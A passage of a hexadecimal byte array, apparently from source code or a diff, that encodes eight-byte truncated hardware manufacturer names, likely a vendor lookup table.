0x73, 0x74, 0x4d, 0x65, 0x64, 0x69, +0x45, 0x78, 0x70, 0x65, 0x74, 0x54, 0x65, 0x63, +0x41, 0x7a, 0x79, 0x6c, 0x65, 0x78, 0x54, 0x65, +0x54, 0x65, 0x63, 0x6f, 0x41, 0x53, 0x00, 0x00, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x44, +0x4c, 0x61, 0x73, 0x73, 0x65, 0x6e, 0x52, 0x65, +0x4e, 0x65, 0x73, 0x74, 0x61, 0x72, 0x43, 0x6f, +0x56, 0x69, 0x63, 0x68, 0x65, 0x6c, 0x00, 0x00, +0x56, 0x61, 0x6c, 0x65, 0x72, 0x65, 0x50, 0x6f, +0x49, 0x6d, 0x65, 0x72, 0x67, 0x65, 0x00, 0x00, +0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x4c, 0x61, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x43, +0x52, 0x65, 0x64, 0x2d, 0x4d, 0x50, 0x72, 0x6f, +0x41, 0x72, 0x74, 0x57, 0x61, 0x72, 0x65, 0x54, +0x53, 0x76, 0x61, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x61, 0x54, +0x41, 0x6d, 0x70, 0x65, 0x72, 0x69, 0x6f, 0x6e, +0x50, 0x61, 0x72, 0x61, 0x6d, 0x61, 0x4e, 0x65, +0x4f, 0x63, 0x74, 0x61, 0x76, 0x65, 0x43, 0x6f, +0x43, 0x65, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x4e, +0x43, 0x65, 0x69, 0x61, 0x53, 0x50, 0x41, 0x00, +0x4d, 0x6f, 0x74, 0x6f, 0x72, 0x6f, 0x6c, 0x61, +0x50, 0x61, 0x6e, 0x44, 0x61, 0x63, 0x6f, 0x6d, +0x45, 0x74, 0x68, 0x65, 0x72, 0x73, 0x74, 0x75, +0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x54, 0x63, +0x43, 0x61, 0x62, 0x6f, 0x74, 0x43, 0x6f, 0x6d, +0x4d, 0x61, 0x70, 0x6c, 0x65, 0x4e, 0x65, 0x74, +0x41, 0x72, 0x74, 0x6e, 0x69, 0x78, 0x00, 0x00, +0x48, 0x63, 0x76, 0x43, 0x6f, 0x6e, 0x73, 0x75, +0x58, 0x73, 0x69, 0x64, 0x6f, 0x00, 0x00, 0x00, +0x45, 0x6d, 0x75, 0x6c, 0x65, 0x78, 0x00, 0x00, +0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, +0x58, 0x69, 0x6c, 0x69, 0x6e, 0x78, 0x00, 0x00, +0x53, 0x79, 0x6e, 0x65, 0x6c, 0x65, 0x63, 0x54, +0x50, 0x72, 0x6f, 0x63, 0x65, 0x72, 0x61, 0x4e, +0x41, 0x70, 0x61, 0x6e, 0x69, 0x4e, 0x65, 0x74, +0x4c, 0x6f, 0x70, 0x61, 0x49, 0x6e, 0x66, 0x6f, +0x4a, 0x2d, 0x54, 0x68, 0x72, 0x65, 0x65, 0x49, +0x47, 0x63, 0x74, 0x53, 0x65, 0x6d, 0x69, 0x63, +0x45, 0x6e, 0x65, 0x72, 0x70, 0x6f, 0x69, 0x6e, +0x45, 0x6c, 0x6f, 0x53, 0x69, 0x73, 0x74, 0x65, +0x45, 0x61, 0x64, 0x73, 0x54, 0x65, 0x6c, 0x65, +0x44, 0x61, 0x74, 0x61, 0x45, 0x61, 0x73, 0x74, +0x43, 0x72, 0x6f, 0x77, 0x6e, 0x41, 0x75, 0x64, +0x43, 0x68, 0x75, 0x6e, 0x67, 0x68, 0x77, 0x61, +0x41, 0x76, 0x65, 0x72, 0x79, 0x44, 0x65, 0x6e, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x2d, 0x54, 0x65, +0x41, 0x72, 0x6f, 0x57, 0x65, 0x6c, 0x64, 0x69, +0x41, 0x6c, 0x6c, 0x69, 0x65, 0x64, 0x56, 0x69, +0x41, 0x6c, 0x62, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x54, 0x61, 0x72, 0x67, 0x61, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x70, 0x6f, 0x77, 0x65, +0x4d, 0x6f, 0x6c, 0x65, 0x63, 0x75, 0x6c, 0x61, +0x4e, 0x6f, 0x72, 0x69, 0x74, 0x7a, 0x00, 0x00, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x6b, 0x45, 0x6c, +0x42, 0x72, 0x61, 0x69, 0x6e, 0x42, 0x6f, 0x78, +0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x6b, 0x00, +0x47, 0x79, 0x72, 0x6f, 0x73, 0x69, 0x67, 0x6e, +0x41, 0x73, 0x69, 0x61, 0x72, 0x66, 0x00, 0x00, +0x49, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x4c, 0x61, 0x67, 0x75, 0x6e, 0x61, 0x48, 0x69, +0x4d, 0x61, 0x72, 0x6b, 0x65, 0x6d, 0x00, 0x00, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x4d, +0x46, 0x72, 0x65, 0x79, 0x65, 0x72, 0x53, 0x69, +0x48, 0x77, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x6e, 0x65, 0x74, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x2d, 0x4f, 0x6e, +0x43, 0x61, 0x72, 0x65, 0x6c, 0x53, 0x50, 0x41, +0x46, 0x69, 0x6e, 0x67, 0x65, 0x72, 0x74, 0x65, +0x41, 0x6c, 0x6d, 0x65, 0x64, 0x69, 0x6f, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x73, 0x74, 0x61, 0x72, +0x43, 0x65, 0x6c, 0x6c, 0x69, 0x6e, 0x78, 0x00, +0x43, 0x72, 0x69, 0x6e, 0x69, 0x73, 0x4e, 0x65, +0x44, 0x68, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x45, 0x72, 0x61, 0x63, 0x6f, 0x6d, 0x54, 0x65, +0x47, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x68, 0x6d, +0x4f, 0x6e, 0x67, 0x63, 0x6f, 0x72, 0x70, 0x00, +0x53, 0x6f, 0x6c, 0x61, 0x72, 0x66, 0x6c, 0x61, +0x53, 0x75, 0x6e, 0x6e, 0x79, 0x42, 0x65, 0x6c, +0x53, 0x76, 0x6d, 0x4d, 0x69, 0x63, 0x72, 0x6f, +0x54, 0x61, 0x64, 0x69, 0x72, 0x61, 0x6e, 0x54, +0x57, 0x61, 0x6c, 0x63, 0x68, 0x65, 0x6d, 0x00, +0x45, 0x6b, 0x73, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x48, 0x61, 0x72, 0x6d, 0x6f, 0x6e, 0x69, 0x63, +0x5a, 0x79, 0x66, 0x6c, 0x65, 0x78, 0x54, 0x65, +0x4d, 0x70, 0x6c, 0x73, 0x46, 0x6f, 0x72, 0x75, +0x41, 0x76, 0x72, 0x69, 0x6f, 0x54, 0x65, 0x63, +0x53, 0x74, 0x65, 0x63, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x6e, 0x74, 0x69, 0x63, 0x6f, 0x6d, +0x43, 0x61, 0x74, 0x65, 0x72, 0x70, 0x69, 0x6c, +0x42, 0x65, 0x69, 0x64, 0x61, 0x4a, 0x61, 0x64, +0x42, 0x6c, 0x75, 0x65, 0x77, 0x69, 0x72, 0x65, +0x4f, 0x6c, 0x69, 0x74, 0x65, 0x63, 0x00, 0x00, +0x43, 0x6f, 0x72, 0x65, 0x67, 0x61, 0x4b, 0x4b, +0x4b, 0x79, 0x6f, 0x72, 0x69, 0x74, 0x73, 0x75, +0x43, 0x6f, 0x72, 0x6e, 0x65, 0x6c, 0x69, 0x75, +0x54, 0x65, 0x63, 0x74, 0x6f, 0x6e, 0x00, 0x00, +0x56, 0x61, 0x6c, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x41, 0x64, 0x76, 0x61, 0x6e, 0x74, 0x61, 0x67, +0x54, 0x65, 0x72, 0x61, 0x64, 0x6f, 0x6e, 0x49, +0x54, 0x65, 0x6c, 0x6b, 0x6f, 0x6e, 0x65, 0x74, +0x54, 0x65, 0x69, 0x6d, 0x61, 0x41, 0x75, 0x64, +0x54, 0x61, 0x74, 0x73, 0x75, 0x74, 0x61, 0x53, +0x53, 0x61, 0x6c, 0x74, 0x6f, 0x53, 0x4c, 0x00, +0x52, 0x61, 0x69, 0x6e, 0x73, 0x75, 0x6e, 0x45, +0x50, 0x6c, 0x61, 0x74, 0x43, 0x32, 0x00, 0x00, +0x4c, 0x65, 0x6e, 0x7a, 0x65, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x63, 0x79, 0x70, 0x68, 0x65, 0x72, +0x43, 0x72, 0x65, 0x76, 0x61, 0x6c, 0x00, 0x00, +0x47, 0x75, 0x61, 0x72, 0x64, 0x77, 0x61, 0x72, +0x49, 0x6e, 0x76, 0x61, 0x63, 0x6f, 0x6d, 0x00, +0x41, 0x73, 0x6b, 0x61, 0x49, 0x6e, 0x74, 0x65, +0x42, 0x61, 0x79, 0x73, 0x69, 0x64, 0x65, 0x49, +0x48, 0x65, 0x6d, 0x6f, 0x63, 0x75, 0x65, 0x00, +0x50, 0x72, 0x65, 0x73, 0x6f, 0x6e, 0x75, 0x73, +0x57, 0x32, 0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, +0x4d, 0x65, 0x77, 0x74, 0x65, 0x6c, 0x54, 0x65, +0x53, 0x6f, 0x6e, 0x69, 0x63, 0x62, 0x6c, 0x75, +0x4d, 0x2b, 0x46, 0x47, 0x77, 0x69, 0x6e, 0x6e, +0x43, 0x61, 0x6c, 0x61, 0x6d, 0x70, 0x57, 0x69, +0x41, 0x69, 0x70, 0x74, 0x65, 0x6b, 0x49, 0x6e, +0x54, 0x62, 0x47, 0x72, 0x6f, 0x75, 0x70, 0x00, +0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x65, +0x4b, 0x69, 0x6e, 0x67, 0x59, 0x6f, 0x75, 0x6e, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x77, 0x65, 0x62, +0x50, 0x61, 0x6e, 0x6e, 0x61, 0x77, 0x61, 0x79, +0x43, 0x65, 0x64, 0x61, 0x72, 0x50, 0x6f, 0x69, +0x56, 0x56, 0x53, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x53, 0x68, 0x69, 0x6d, 0x61, 0x66, 0x75, 0x6a, +0x4d, 0x61, 0x78, 0x6c, 0x69, 0x6e, 0x6b, 0x49, +0x48, 0x6f, 0x63, 0x68, 0x69, 0x6b, 0x69, 0x00, +0x46, 0x65, 0x69, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x45, 0x70, 0x69, 0x70, 0x65, 0x50, 0x74, 0x79, +0x42, 0x72, 0x6f, 0x6f, 0x6b, 0x73, 0x41, 0x75, +0x41, 0x6c, 0x74, 0x69, 0x67, 0x65, 0x6e, 0x43, +0x54, 0x6f, 0x79, 0x6f, 0x74, 0x61, 0x54, 0x65, +0x54, 0x65, 0x72, 0x72, 0x61, 0x74, 0x65, 0x63, +0x53, 0x74, 0x61, 0x72, 0x67, 0x61, 0x6d, 0x65, +0x50, 0x69, 0x70, 0x61, 0x6c, 0x00, 0x00, 0x00, +0x4c, 0x6f, 0x79, 0x74, 0x65, 0x63, 0x45, 0x6c, +0x47, 0x65, 0x6e, 0x65, 0x74, 0x65, 0x63, 0x00, +0x46, 0x72, 0x65, 0x73, 0x6e, 0x65, 0x6c, 0x57, +0x46, 0x61, 0x47, 0x69, 0x72, 0x61, 0x00, 0x00, +0x45, 0x74, 0x69, 0x63, 0x54, 0x65, 0x6c, 0x65, +0x43, 0x6f, 0x6d, 0x70, 0x75, 0x6e, 0x65, 0x74, +0x41, 0x73, 0x74, 0x65, 0x72, 0x61, 0x54, 0x65, +0x41, 0x72, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x54, 0x61, 0x69, 0x77, 0x61, 0x6e, 0x53, 0x65, +0x53, 0x65, 0x61, 0x62, 0x72, 0x69, 0x64, 0x67, +0x52, 0x75, 0x70, 0x70, 0x72, 0x65, 0x63, 0x68, +0x4f, 0x70, 0x6e, 0x65, 0x74, 0x54, 0x65, 0x63, +0x48, 0x69, 0x72, 0x6f, 0x74, 0x61, 0x53, 0x73, +0x46, 0x75, 0x79, 0x6f, 0x68, 0x56, 0x69, 0x64, +0x46, 0x75, 0x74, 0x75, 0x72, 0x65, 0x74, 0x65, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x46, 0x69, 0x62, +0x45, 0x6d, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x69, +0x44, 0x61, 0x65, 0x77, 0x6f, 0x6f, 0x54, 0x65, +0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x4b, 0x69, 0x6e, +0x55, 0x6e, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, +0x5a, 0x70, 0x73, 0x79, 0x73, 0x50, 0x6c, 0x61, +0x5a, 0x61, 0x6d, 0x62, 0x65, 0x65, 0x6c, 0x00, +0x59, 0x6f, 0x6b, 0x6f, 0x79, 0x61, 0x6d, 0x61, +0x58, 0x70, 0x61, 0x6b, 0x4d, 0x73, 0x61, 0x47, +0x57, 0x69, 0x6e, 0x6e, 0x6f, 0x77, 0x4e, 0x65, +0x53, 0x75, 0x6e, 0x72, 0x69, 0x63, 0x68, 0x54, +0x52, 0x61, 0x64, 0x69, 0x61, 0x6e, 0x74, 0x65, +0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x6f, +0x4e, 0x69, 0x69, 0x67, 0x61, 0x74, 0x61, 0x44, +0x4d, 0x77, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x65, 0x70, 0x69, 0x63, 0x6f, 0x00, 0x00, +0x49, 0x6e, 0x69, 0x74, 0x65, 0x63, 0x68, 0x00, +0x43, 0x6f, 0x72, 0x65, 0x62, 0x65, 0x6c, 0x6c, +0x42, 0x72, 0x61, 0x69, 0x6e, 0x63, 0x68, 0x69, +0x42, 0x65, 0x61, 0x6d, 0x72, 0x65, 0x61, 0x63, +0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x45, 0x6c, +0x49, 0x70, 0x63, 0x73, 0x65, 0x72, 0x76, 0x54, +0x53, 0x6f, 0x6e, 0x79, 0x4d, 0x6f, 0x62, 0x69, +0x56, 0x69, 0x6e, 0x64, 0x69, 0x63, 0x61, 0x74, +0x54, 0x72, 0x69, 0x6c, 0x6c, 0x69, 0x61, 0x6e, +0x52, 0x75, 0x67, 0x67, 0x65, 0x64, 0x63, 0x6f, +0x41, 0x6c, 0x6c, 0x77, 0x6f, 0x72, 0x78, 0x00, +0x48, 0x61, 0x70, 0x70, 0x79, 0x43, 0x6f, 0x6d, +0x47, 0x65, 0x6e, 0x6e, 0x75, 0x6d, 0x00, 0x00, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x53, +0x45, 0x67, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x42, 0x69, 0x6e, 0x61, 0x74, 0x6f, 0x6e, 0x65, +0x59, 0x61, 0x6e, 0x67, 0x4d, 0x65, 0x69, 0x54, +0x57, 0x69, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x00, +0x53, 0x63, 0x6f, 0x74, 0x74, 0x63, 0x61, 0x72, +0x45, 0x6c, 0x69, 0x6f, 0x70, 0x53, 0x41, 0x00, +0x43, 0x61, 0x74, 0x68, 0x61, 0x79, 0x52, 0x6f, +0x41, 0x69, 0x72, 0x76, 0x61, 0x73, 0x74, 0x54, +0x41, 0x64, 0x61, 0x6d, 0x45, 0x6c, 0x65, 0x6b, +0x54, 0x70, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x54, +0x4b, 0x6f, 0x61, 0x74, 0x73, 0x75, 0x47, 0x61, +0x48, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x45, +0x47, 0x63, 0x64, 0x48, 0x61, 0x72, 0x64, 0x2d, +0x4f, 0x74, 0x72, 0x75, 0x6d, 0x41, 0x73, 0x61, +0x53, 0x68, 0x69, 0x6e, 0x2d, 0x4f, 0x68, 0x45, +0x43, 0x6c, 0x61, 0x72, 0x69, 0x74, 0x79, 0x44, +0x4e, 0x65, 0x6f, 0x61, 0x78, 0x69, 0x6f, 0x6d, +0x41, 0x69, 0x72, 0x67, 0x6f, 0x4e, 0x65, 0x74, +0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x43, +0x48, 0x69, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, +0x54, 0x72, 0x61, 0x76, 0x65, 0x72, 0x73, 0x65, +0x41, 0x6d, 0x62, 0x72, 0x69, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x72, 0x65, 0x54, 0x65, 0x63, 0x43, +0x4b, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x45, 0x6c, +0x4e, 0x6f, 0x76, 0x61, 0x70, 0x61, 0x6c, 0x00, +0x4b, 0x69, 0x6c, 0x63, 0x68, 0x68, 0x65, 0x72, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x53, 0x74, +0x44, 0x61, 0x69, 0x69, 0x63, 0x68, 0x69, 0x45, +0x44, 0x61, 0x6c, 0x6c, 0x6d, 0x65, 0x69, 0x65, +0x54, 0x61, 0x65, 0x6b, 0x77, 0x61, 0x6e, 0x67, +0x56, 0x6f, 0x6c, 0x6b, 0x74, 0x65, 0x6b, 0x00, +0x56, 0x6f, 0x78, 0x70, 0x61, 0x74, 0x68, 0x4e, +0x50, 0x69, 0x6c, 0x6c, 0x61, 0x72, 0x44, 0x61, +0x49, 0x66, 0x6f, 0x75, 0x6e, 0x64, 0x72, 0x79, +0x44, 0x62, 0x6d, 0x4f, 0x70, 0x74, 0x69, 0x63, +0x43, 0x6f, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, +0x41, 0x67, 0x69, 0x6c, 0x65, 0x00, 0x00, 0x00, +0x41, 0x69, 0x72, 0x32, 0x75, 0x00, 0x00, 0x00, +0x54, 0x72, 0x61, 0x70, 0x65, 0x7a, 0x65, 0x4e, +0x42, 0x6f, 0x73, 0x63, 0x68, 0x52, 0x65, 0x78, +0x31, 0x31, 0x77, 0x61, 0x76, 0x65, 0x54, 0x65, +0x48, 0x69, 0x6d, 0x65, 0x6a, 0x69, 0x41, 0x62, +0x4e, 0x75, 0x72, 0x69, 0x54, 0x65, 0x6c, 0x65, +0x5a, 0x65, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x56, 0x69, 0x65, 0x77, 0x73, 0x6f, 0x6e, 0x69, +0x50, 0x6c, 0x61, 0x74, 0x79, 0x70, 0x75, 0x73, +0x4d, 0x6b, 0x73, 0x49, 0x6e, 0x73, 0x74, 0x72, +0x56, 0x65, 0x72, 0x6e, 0x69, 0x65, 0x72, 0x4e, +0x49, 0x6e, 0x64, 0x75, 0x73, 0x74, 0x72, 0x69, +0x53, 0x79, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x53, 0x69, 0x62, 0x63, 0x6f, 0x42, 0x76, 0x00, +0x4c, 0x61, 0x79, 0x65, 0x72, 0x7a, 0x65, 0x72, +0x4b, 0x61, 0x70, 0x70, 0x61, 0x4f, 0x70, 0x74, +0x49, 0x43, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x70, +0x48, 0x69, 0x72, 0x61, 0x74, 0x61, 0x00, 0x00, +0x47, 0x2d, 0x53, 0x74, 0x61, 0x72, 0x43, 0x6f, +0x45, 0x6e, 0x76, 0x69, 0x72, 0x6f, 0x6e, 0x6d, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x53, +0x41, 0x69, 0x72, 0x6c, 0x6f, 0x67, 0x69, 0x63, +0x41, 0x65, 0x6c, 0x75, 0x72, 0x6f, 0x73, 0x00, +0x57, 0x65, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, +0x53, 0x63, 0x69, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x51, 0x75, 0x61, 0x74, 0x65, 0x63, 0x68, 0x00, +0x4c, 0x73, 0x4c, 0x67, 0x49, 0x6e, 0x64, 0x75, +0x48, 0x6f, 0x77, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x48, 0x6f, 0x73, 0x74, 0x6e, 0x65, 0x74, 0x00, +0x45, 0x69, 0x6b, 0x69, 0x49, 0x6e, 0x64, 0x75, +0x43, 0x61, 0x6c, 0x2d, 0x43, 0x6f, 0x6d, 0x70, +0x42, 0x70, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x47, +0x59, 0x61, 0x6e, 0x74, 0x61, 0x69, 0x5a, 0x68, +0x56, 0x6f, 0x72, 0x6d, 0x65, 0x74, 0x72, 0x69, +0x56, 0x69, 0x76, 0x61, 0x74, 0x6f, 0x54, 0x65, +0x51, 0x75, 0x61, 0x64, 0x42, 0x69, 0x74, 0x53, +0x50, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x69, +0x4d, 0x61, 0x6e, 0x75, 0x66, 0x61, 0x63, 0x74, +0x4b, 0x6e, 0x72, 0x72, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x65, 0x69, 0x73, 0x6f, 0x6b, 0x75, 0x47, +0x51, 0x75, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, +0x44, 0x65, 0x76, 0x6f, 0x6c, 0x6f, 0x00, 0x00, +0x43, 0x79, 0x67, 0x6e, 0x61, 0x6c, 0x49, 0x6e, +0x43, 0x6f, 0x6e, 0x74, 0x61, 0x6c, 0x4f, 0x6b, +0x42, 0x69, 0x74, 0x74, 0x77, 0x61, 0x72, 0x65, +0x41, 0x6e, 0x74, 0x68, 0x6f, 0x6c, 0x6f, 0x67, +0x4f, 0x63, 0x6c, 0x61, 0x72, 0x6f, 0x00, 0x00, +0x49, 0x6e, 0x67, 0x42, 0x72, 0x6f, 0x44, 0x00, +0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x78, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x63, 0x61, +0x43, 0x6f, 0x6e, 0x63, 0x6f, 0x72, 0x64, 0x49, +0x53, 0x6f, 0x66, 0x72, 0x65, 0x6c, 0x00, 0x00, +0x52, 0x66, 0x2d, 0x4c, 0x69, 0x6e, 0x6b, 0x53, +0x56, 0x69, 0x73, 0x69, 0x6d, 0x65, 0x74, 0x72, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x77, 0x61, 0x76, +0x43, 0x6c, 0x61, 0x72, 0x69, 0x6f, 0x6e, 0x4d, +0x45, 0x6d, 0x75, 0x7a, 0x65, 0x64, 0x00, 0x00, +0x56, 0x65, 0x72, 0x74, 0x65, 0x78, 0x72, 0x73, +0x56, 0x65, 0x72, 0x69, 0x66, 0x6f, 0x6e, 0x65, +0x4f, 0x78, 0x79, 0x67, 0x6e, 0x65, 0x74, 0x00, +0x4d, 0x69, 0x63, 0x65, 0x74, 0x65, 0x6b, 0x49, +0x4a, 0x6f, 0x79, 0x6d, 0x61, 0x78, 0x45, 0x6c, +0x49, 0x6e, 0x69, 0x74, 0x69, 0x75, 0x6d, 0x00, +0x42, 0x69, 0x74, 0x6d, 0x69, 0x63, 0x72, 0x6f, +0x41, 0x64, 0x69, 0x6e, 0x73, 0x74, 0x72, 0x75, +0x43, 0x79, 0x62, 0x65, 0x72, 0x6e, 0x65, 0x74, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x4c, +0x41, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x61, 0x75, +0x53, 0x63, 0x72, 0x69, 0x70, 0x74, 0x70, 0x72, +0x48, 0x79, 0x70, 0x65, 0x72, 0x65, 0x64, 0x67, +0x52, 0x69, 0x6e, 0x63, 0x6f, 0x6e, 0x52, 0x65, +0x4e, 0x65, 0x77, 0x74, 0x65, 0x63, 0x68, 0x00, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x45, 0x6e, 0x67, +0x46, 0x72, 0x69, 0x65, 0x64, 0x72, 0x69, 0x63, +0x49, 0x62, 0x2d, 0x4d, 0x6f, 0x68, 0x6e, 0x65, +0x4b, 0x61, 0x6c, 0x65, 0x69, 0x64, 0x65, 0x73, +0x4b, 0x69, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x50, +0x53, 0x79, 0x41, 0x43, 0x53, 0x72, 0x6c, 0x00, +0x54, 0x65, 0x72, 0x61, 0x6c, 0x69, 0x6e, 0x6b, +0x54, 0x6f, 0x70, 0x76, 0x69, 0x65, 0x77, 0x54, +0x41, 0x64, 0x64, 0x76, 0x61, 0x6c, 0x75, 0x65, +0x46, 0x72, 0x61, 0x6e, 0x6b, 0x65, 0x46, 0x69, +0x41, 0x73, 0x69, 0x61, 0x72, 0x6f, 0x63, 0x6b, +0x57, 0x69, 0x73, 0x74, 0x72, 0x6f, 0x6e, 0x4e, +0x53, 0x79, 0x63, 0x68, 0x69, 0x70, 0x00, 0x00, +0x53, 0x6f, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, +0x4e, 0x65, 0x66, 0x66, 0x49, 0x6e, 0x73, 0x74, +0x4d, 0x65, 0x64, 0x69, 0x61, 0x53, 0x74, 0x72, +0x4c, 0x6f, 0x61, 0x64, 0x54, 0x65, 0x63, 0x68, +0x4c, 0x69, 0x74, 0x63, 0x68, 0x66, 0x69, 0x65, +0x4c, 0x61, 0x77, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x64, 0x65, 0x6f, 0x73, 0x43, 0x6f, +0x4b, 0x69, 0x6e, 0x67, 0x77, 0x61, 0x76, 0x65, +0x49, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x00, 0x00, +0x45, 0x74, 0x26, 0x54, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6f, 0x67, 0x65, 0x6e, 0x74, 0x00, 0x00, +0x54, 0x61, 0x69, 0x66, 0x61, 0x74, 0x65, 0x63, +0x58, 0x2d, 0x43, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x54, 0x65, 0x73, 0x74, 0x2d, 0x55, 0x6d, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x78, 0x43, 0x6f, 0x6d, +0x53, 0x6f, 0x6c, 0x6f, 0x6d, 0x6f, 0x6e, 0x45, +0x53, 0x61, 0x67, 0x69, 0x6e, 0x6f, 0x6d, 0x69, +0x41, 0x6c, 0x69, 0x67, 0x6e, 0x45, 0x6e, 0x67, +0x4c, 0x79, 0x63, 0x69, 0x75, 0x6d, 0x4e, 0x65, +0x4b, 0x61, 0x70, 0x61, 0x72, 0x65, 0x6c, 0x00, +0x47, 0x72, 0x61, 0x6e, 0x64, 0x73, 0x74, 0x72, +0x44, 0x61, 0x74, 0x61, 0x77, 0x61, 0x74, 0x74, +0x42, 0x6f, 0x64, 0x65, 0x74, 0x00, 0x00, 0x00, +0x41, 0x72, 0x75, 0x62, 0x61, 0x4e, 0x65, 0x74, +0x56, 0x69, 0x64, 0x69, 0x73, 0x63, 0x6f, 0x00, +0x54, 0x6f, 0x70, 0x47, 0x6c, 0x6f, 0x62, 0x61, +0x4d, 0x69, 0x74, 0x65, 0x71, 0x00, 0x00, 0x00, +0x4b, 0x65, 0x72, 0x61, 0x6a, 0x65, 0x74, 0x53, +0x41, 0x76, 0x76, 0x69, 0x6f, 0x4e, 0x65, 0x74, +0x41, 0x73, 0x63, 0x65, 0x6e, 0x74, 0x00, 0x00, +0x41, 0x6b, 0x69, 0x74, 0x61, 0x45, 0x6c, 0x65, +0x41, 0x64, 0x76, 0x61, 0x4f, 0x70, 0x74, 0x69, +0x41, 0x67, 0x6c, 0x61, 0x69, 0x61, 0x47, 0x65, +0x41, 0x73, 0x63, 0x6f, 0x6d, 0x44, 0x61, 0x6e, +0x52, 0x69, 0x74, 0x74, 0x65, 0x72, 0x45, 0x6c, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x4d, +0x45, 0x62, 0x65, 0x74, 0x47, 0x61, 0x6d, 0x69, +0x49, 0x6e, 0x6e, 0x6f, 0x74, 0x72, 0x61, 0x63, +0x4e, 0x69, 0x63, 0x65, 0x74, 0x65, 0x63, 0x68, +0x53, 0x65, 0x6e, 0x73, 0x61, 0x62, 0x6c, 0x65, +0x53, 0x69, 0x72, 0x69, 0x75, 0x73, 0x53, 0x79, +0x54, 0x72, 0x69, 0x62, 0x65, 0x61, 0x6d, 0x54, +0x54, 0x77, 0x69, 0x6e, 0x6d, 0x6f, 0x73, 0x54, +0x59, 0x61, 0x73, 0x69, 0x6e, 0x67, 0x54, 0x65, +0x4e, 0x65, 0x75, 0x65, 0x45, 0x6c, 0x73, 0x61, +0x54, 0x26, 0x4c, 0x49, 0x6e, 0x66, 0x6f, 0x72, +0x46, 0x75, 0x6a, 0x69, 0x6b, 0x75, 0x72, 0x61, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x49, +0x53, 0x68, 0x69, 0x72, 0x6f, 0x6e, 0x53, 0x61, +0x51, 0x75, 0x61, 0x73, 0x61, 0x72, 0x43, 0x69, +0x4d, 0x69, 0x79, 0x61, 